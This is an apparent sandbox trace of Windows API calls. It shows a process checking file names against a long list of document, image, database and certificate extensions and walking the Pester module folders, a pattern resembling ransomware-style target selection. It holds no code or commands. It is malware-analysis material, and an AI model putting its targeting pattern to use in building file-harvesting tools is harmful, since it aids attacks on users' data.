	[0159.971] lstrcmpiW (lpString1=".ics", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".iff") returned 4
	[0159.971] lstrcmpiW (lpString1=".iff", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".inc") returned 4
	[0159.971] lstrcmpiW (lpString1=".inc", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".indd") returned 5
	[0159.971] lstrcmpiW (lpString1=".indd", lpString2="r.bat") returned -1
	[0159.971] lstrlenW (lpString=".ini") returned 4
	[0159.971] lstrcmpiW (lpString1=".ini", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".iqy") returned 4
	[0159.971] lstrcmpiW (lpString1=".iqy", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".j2c") returned 4
	[0159.971] lstrcmpiW (lpString1=".j2c", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".j2k") returned 4
	[0159.971] lstrcmpiW (lpString1=".j2k", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".java") returned 5
	[0159.971] lstrcmpiW (lpString1=".java", lpString2="r.bat") returned -1
	[0159.971] lstrlenW (lpString=".jp2") returned 4
	[0159.971] lstrcmpiW (lpString1=".jp2", lpString2=".bat") returned 1
	[0159.971] lstrlenW (lpString=".jpc") returned 4
	[0159.972] lstrcmpiW (lpString1=".jpc", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".jpe") returned 4
	[0159.972] lstrcmpiW (lpString1=".jpe", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".jpeg") returned 5
	[0159.972] lstrcmpiW (lpString1=".jpeg", lpString2="r.bat") returned -1
	[0159.972] lstrlenW (lpString=".jpf") returned 4
	[0159.972] lstrcmpiW (lpString1=".jpf", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".jpg") returned 4
	[0159.972] lstrcmpiW (lpString1=".jpg", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".jpx") returned 4
	[0159.972] lstrcmpiW (lpString1=".jpx", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".js") returned 3
	[0159.972] lstrcmpiW (lpString1=".js", lpString2="bat") returned -1
	[0159.972] lstrlenW (lpString=".jsf") returned 4
	[0159.972] lstrcmpiW (lpString1=".jsf", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".json") returned 5
	[0159.972] lstrcmpiW (lpString1=".json", lpString2="r.bat") returned -1
	[0159.972] lstrlenW (lpString=".jsp") returned 4
	[0159.972] lstrcmpiW (lpString1=".jsp", lpString2=".bat") returned 1
	[0159.972] lstrlenW (lpString=".kdc") returned 4
	[0159.973] lstrcmpiW (lpString1=".kdc", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".kmz") returned 4
	[0159.973] lstrcmpiW (lpString1=".kmz", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".kwm") returned 4
	[0159.973] lstrcmpiW (lpString1=".kwm", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".lasso") returned 6
	[0159.973] lstrcmpiW (lpString1=".lasso", lpString2="er.bat") returned -1
	[0159.973] lstrlenW (lpString=".lbi") returned 4
	[0159.973] lstrcmpiW (lpString1=".lbi", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".lgf") returned 4
	[0159.973] lstrcmpiW (lpString1=".lgf", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".lgp") returned 4
	[0159.973] lstrcmpiW (lpString1=".lgp", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".log") returned 4
	[0159.973] lstrcmpiW (lpString1=".log", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".m1v") returned 4
	[0159.973] lstrcmpiW (lpString1=".m1v", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".m4a") returned 4
	[0159.973] lstrcmpiW (lpString1=".m4a", lpString2=".bat") returned 1
	[0159.973] lstrlenW (lpString=".m4v") returned 4
	[0159.973] lstrcmpiW (lpString1=".m4v", lpString2=".bat") returned 1
	[0159.974] lstrlenW (lpString=".max") returned 4
	[0159.974] lstrcmpiW (lpString1=".max", lpString2=".bat") returned 1
	[0159.974] lstrlenW (lpString=".md") returned 3
	[0160.340] lstrcmpiW (lpString1=".md", lpString2="bat") returned -1
	[0160.340] lstrlenW (lpString=".mda") returned 4
	[0160.340] lstrcmpiW (lpString1=".mda", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mdb") returned 4
	[0160.340] lstrcmpiW (lpString1=".mdb", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mde") returned 4
	[0160.340] lstrcmpiW (lpString1=".mde", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mdf") returned 4
	[0160.340] lstrcmpiW (lpString1=".mdf", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mdw") returned 4
	[0160.340] lstrcmpiW (lpString1=".mdw", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mef") returned 4
	[0160.340] lstrcmpiW (lpString1=".mef", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mft") returned 4
	[0160.340] lstrcmpiW (lpString1=".mft", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mfw") returned 4
	[0160.340] lstrcmpiW (lpString1=".mfw", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mht") returned 4
	[0160.340] lstrcmpiW (lpString1=".mht", lpString2=".bat") returned 1
	[0160.340] lstrlenW (lpString=".mhtml") returned 6
	[0160.340] lstrcmpiW (lpString1=".mhtml", lpString2="er.bat") returned -1
	[0160.340] lstrlenW (lpString=".mka") returned 4
	[0160.341] lstrcmpiW (lpString1=".mka", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mkidx") returned 6
	[0160.341] lstrcmpiW (lpString1=".mkidx", lpString2="er.bat") returned -1
	[0160.341] lstrlenW (lpString=".mkv") returned 4
	[0160.341] lstrcmpiW (lpString1=".mkv", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mos") returned 4
	[0160.341] lstrcmpiW (lpString1=".mos", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mov") returned 4
	[0160.341] lstrcmpiW (lpString1=".mov", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mp3") returned 4
	[0160.341] lstrcmpiW (lpString1=".mp3", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mp4") returned 4
	[0160.341] lstrcmpiW (lpString1=".mp4", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mpeg") returned 5
	[0160.341] lstrcmpiW (lpString1=".mpeg", lpString2="r.bat") returned -1
	[0160.341] lstrlenW (lpString=".mpg") returned 4
	[0160.341] lstrcmpiW (lpString1=".mpg", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mpv") returned 4
	[0160.341] lstrcmpiW (lpString1=".mpv", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".mrw") returned 4
	[0160.341] lstrcmpiW (lpString1=".mrw", lpString2=".bat") returned 1
	[0160.341] lstrlenW (lpString=".msg") returned 4
	[0160.344] lstrcmpiW (lpString1=".msg", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".mxl") returned 4
	[0160.344] lstrcmpiW (lpString1=".mxl", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".myd") returned 4
	[0160.344] lstrcmpiW (lpString1=".myd", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".myi") returned 4
	[0160.344] lstrcmpiW (lpString1=".myi", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".nef") returned 4
	[0160.344] lstrcmpiW (lpString1=".nef", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".nrw") returned 4
	[0160.344] lstrcmpiW (lpString1=".nrw", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".obj") returned 4
	[0160.344] lstrcmpiW (lpString1=".obj", lpString2=".bat") returned 1
	[0160.344] lstrlenW (lpString=".odb") returned 4
	[0160.345] lstrcmpiW (lpString1=".odb", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".odc") returned 4
	[0160.345] lstrcmpiW (lpString1=".odc", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".odm") returned 4
	[0160.345] lstrcmpiW (lpString1=".odm", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".odp") returned 4
	[0160.345] lstrcmpiW (lpString1=".odp", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".ods") returned 4
	[0160.345] lstrcmpiW (lpString1=".ods", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".oft") returned 4
	[0160.345] lstrcmpiW (lpString1=".oft", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".one") returned 4
	[0160.345] lstrcmpiW (lpString1=".one", lpString2=".bat") returned 1
	[0160.345] lstrlenW (lpString=".onepkg") returned 7
	[0160.346] lstrcmpiW (lpString1=".onepkg", lpString2="ter.bat") returned -1
	[0160.346] lstrlenW (lpString=".onetoc2") returned 8
	[0160.346] lstrcmpiW (lpString1=".onetoc2", lpString2="ster.bat") returned -1
	[0160.346] lstrlenW (lpString=".opt") returned 4
	[0160.346] lstrcmpiW (lpString1=".opt", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".oqy") returned 4
	[0160.346] lstrcmpiW (lpString1=".oqy", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".orf") returned 4
	[0160.346] lstrcmpiW (lpString1=".orf", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".p12") returned 4
	[0160.346] lstrcmpiW (lpString1=".p12", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".p7b") returned 4
	[0160.346] lstrcmpiW (lpString1=".p7b", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".p7c") returned 4
	[0160.346] lstrcmpiW (lpString1=".p7c", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".pam") returned 4
	[0160.346] lstrcmpiW (lpString1=".pam", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".pbm") returned 4
	[0160.346] lstrcmpiW (lpString1=".pbm", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".pct") returned 4
	[0160.346] lstrcmpiW (lpString1=".pct", lpString2=".bat") returned 1
	[0160.346] lstrlenW (lpString=".pcx") returned 4
	[0160.347] lstrcmpiW (lpString1=".pcx", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pdd") returned 4
	[0160.347] lstrcmpiW (lpString1=".pdd", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pdf") returned 4
	[0160.347] lstrcmpiW (lpString1=".pdf", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pdp") returned 4
	[0160.347] lstrcmpiW (lpString1=".pdp", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pef") returned 4
	[0160.347] lstrcmpiW (lpString1=".pef", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pem") returned 4
	[0160.347] lstrcmpiW (lpString1=".pem", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pff") returned 4
	[0160.347] lstrcmpiW (lpString1=".pff", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pfm") returned 4
	[0160.347] lstrcmpiW (lpString1=".pfm", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pfx") returned 4
	[0160.347] lstrcmpiW (lpString1=".pfx", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".pgm") returned 4
	[0160.347] lstrcmpiW (lpString1=".pgm", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".php") returned 4
	[0160.347] lstrcmpiW (lpString1=".php", lpString2=".bat") returned 1
	[0160.347] lstrlenW (lpString=".php3") returned 5
	[0160.347] lstrcmpiW (lpString1=".php3", lpString2="r.bat") returned -1
	[0160.348] lstrlenW (lpString=".php4") returned 5
	[0160.348] lstrcmpiW (lpString1=".php4", lpString2="r.bat") returned -1
	[0160.348] lstrlenW (lpString=".php5") returned 5
	[0160.348] lstrcmpiW (lpString1=".php5", lpString2="r.bat") returned -1
	[0160.348] lstrlenW (lpString=".phtml") returned 6
	[0160.348] lstrcmpiW (lpString1=".phtml", lpString2="er.bat") returned -1
	[0160.348] lstrlenW (lpString=".pict") returned 5
	[0160.348] lstrcmpiW (lpString1=".pict", lpString2="r.bat") returned -1
	[0160.348] lstrlenW (lpString=".pl") returned 3
	[0160.348] lstrcmpiW (lpString1=".pl", lpString2="bat") returned -1
	[0160.348] lstrlenW (lpString=".pls") returned 4
	[0160.348] lstrcmpiW (lpString1=".pls", lpString2=".bat") returned 1
	[0160.348] lstrlenW (lpString=".pm") returned 3
	[0160.348] lstrcmpiW (lpString1=".pm", lpString2="bat") returned -1
	[0160.348] lstrlenW (lpString=".png") returned 4
	[0160.348] lstrcmpiW (lpString1=".png", lpString2=".bat") returned 1
	[0160.348] lstrlenW (lpString=".pnm") returned 4
	[0160.348] lstrcmpiW (lpString1=".pnm", lpString2=".bat") returned 1
	[0160.348] lstrlenW (lpString=".pot") returned 4
	[0160.348] lstrcmpiW (lpString1=".pot", lpString2=".bat") returned 1
	[0160.348] lstrlenW (lpString=".potm") returned 5
	[0160.348] lstrcmpiW (lpString1=".potm", lpString2="r.bat") returned -1
	[0160.348] lstrlenW (lpString=".potx") returned 5
	[0160.349] lstrcmpiW (lpString1=".potx", lpString2="r.bat") returned -1
	[0160.349] lstrlenW (lpString=".ppa") returned 4
	[0160.349] lstrcmpiW (lpString1=".ppa", lpString2=".bat") returned 1
	[0160.349] lstrlenW (lpString=".ppam") returned 5
	[0160.349] lstrcmpiW (lpString1=".ppam", lpString2="r.bat") returned -1
	[0160.349] lstrlenW (lpString=".ppm") returned 4
	[0160.349] lstrcmpiW (lpString1=".ppm", lpString2=".bat") returned 1
	[0160.349] lstrlenW (lpString=".pps") returned 4
	[0160.349] lstrcmpiW (lpString1=".pps", lpString2=".bat") returned 1
	[0160.349] lstrlenW (lpString=".ppsm") returned 5
	[0160.349] lstrcmpiW (lpString1=".ppsm", lpString2="r.bat") returned -1
	[0160.349] lstrlenW (lpString=".ppt") returned 4
	[0160.349] lstrcmpiW (lpString1=".ppt", lpString2=".bat") returned 1
	[0160.349] lstrlenW (lpString=".pptm") returned 5
	[0160.349] lstrcmpiW (lpString1=".pptm", lpString2="r.bat") returned -1
	[0160.349] lstrlenW (lpString=".pptx") returned 5
	[0160.349] lstrcmpiW (lpString1=".pptx", lpString2="r.bat") returned -1
	[0160.349] lstrlenW (lpString=".prn") returned 4
	[0160.349] lstrcmpiW (lpString1=".prn", lpString2=".bat") returned 1
	[0160.349] lstrlenW (lpString=".ps") returned 3
	[0160.350] lstrcmpiW (lpString1=".ps", lpString2="bat") returned -1
	[0160.350] lstrlenW (lpString=".psb") returned 4
	[0160.350] lstrcmpiW (lpString1=".psb", lpString2=".bat") returned 1
	[0160.350] lstrlenW (lpString=".psd") returned 4
	[0160.350] lstrcmpiW (lpString1=".psd", lpString2=".bat") returned 1
	[0160.350] lstrlenW (lpString=".pst") returned 4
	[0160.350] lstrcmpiW (lpString1=".pst", lpString2=".bat") returned 1
	[0160.350] lstrlenW (lpString=".ptx") returned 4
	[0160.350] lstrcmpiW (lpString1=".ptx", lpString2=".bat") returned 1
	[0160.350] lstrlenW (lpString=".pub") returned 4
	[0160.350] lstrcmpiW (lpString1=".pub", lpString2=".bat") returned 1
	[0160.350] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.bat", cAlternateFileName="")) returned 0
	[0160.350] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0160.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0160.350] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1
	[0160.351] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2756, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1
	[0160.351] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0160.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0160.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0161.138] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4446, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.145] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1
	[0161.145] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1
	[0161.145] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1
	[0161.146] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1
	[0161.146] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1
	[0161.146] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0
	[0161.146] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0161.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0161.147] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1
	[0161.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0161.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0161.286] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.286] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1
	[0161.286] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0161.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0161.292] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e545b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0161.292] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2655, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1
	[0161.292] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x287c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1
